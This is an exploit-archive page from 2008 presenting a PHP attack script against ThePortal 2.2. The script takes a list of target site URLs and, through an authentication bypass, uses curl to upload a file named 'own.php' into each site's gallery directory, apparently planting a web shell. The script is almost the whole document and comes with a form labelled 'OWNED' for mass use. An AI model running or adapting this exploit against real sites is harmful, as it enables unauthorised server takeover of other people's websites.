[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : ThePortal 2.2 Arbitrary Remote File Upload Exploit
# Published : 2008-12-29
# Author : siurek22
# Previous Title : eDNews v2 (eDNews_view.php newsid) SQL Injection Vulnerability
# Next Title : PHPAlumni (Acomment.php id) SQL Injection Vulnerability
[ web apps] theportal2 v2.2 (Auth bypass) file upload
--------------------
Author: siurek22
--------------------
You need curl to run it
--------------------
Code:
--------------------
upload.php
<?php
$file=$_POST['url'];
$fel=explode("n", $file);
$ile=count($fel);
if(empty($file))
{
echo'<br><br><br>
<center>
<form method="post">
<textarea type="text" name="url" cols="50" rows="10"></textarea>
<input type="submit" value="OWNED">
</form>
';
}
else{
for($i=0; $i<$ile;$i++)
{
$url=$fel[$i];
$url2=$url."/admin/galeria.php?akcja=dodaj_foto";
$url5=$url."/galeria/own.php";
$c = curl_init();
$postFields['adres'] = '@' . dirname(__FILE__) . '/own.php';
$postFields['tytul'] = 'us';
$postFields['opis'] = 'us';
$postFields['kategoria'] = 1;
$postFields['B1'] = 'dodaj';
curl_setopt($c, CURLOPT_URL, $url2);
curl_setopt($c, CURLOPT_POST, 1);
curl_setopt($c, CURLOPT_POSTFIELDS, $postFields);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$odpowiedz3=curl_exec($c);
curl_close($c);
}
}
?>
------------
a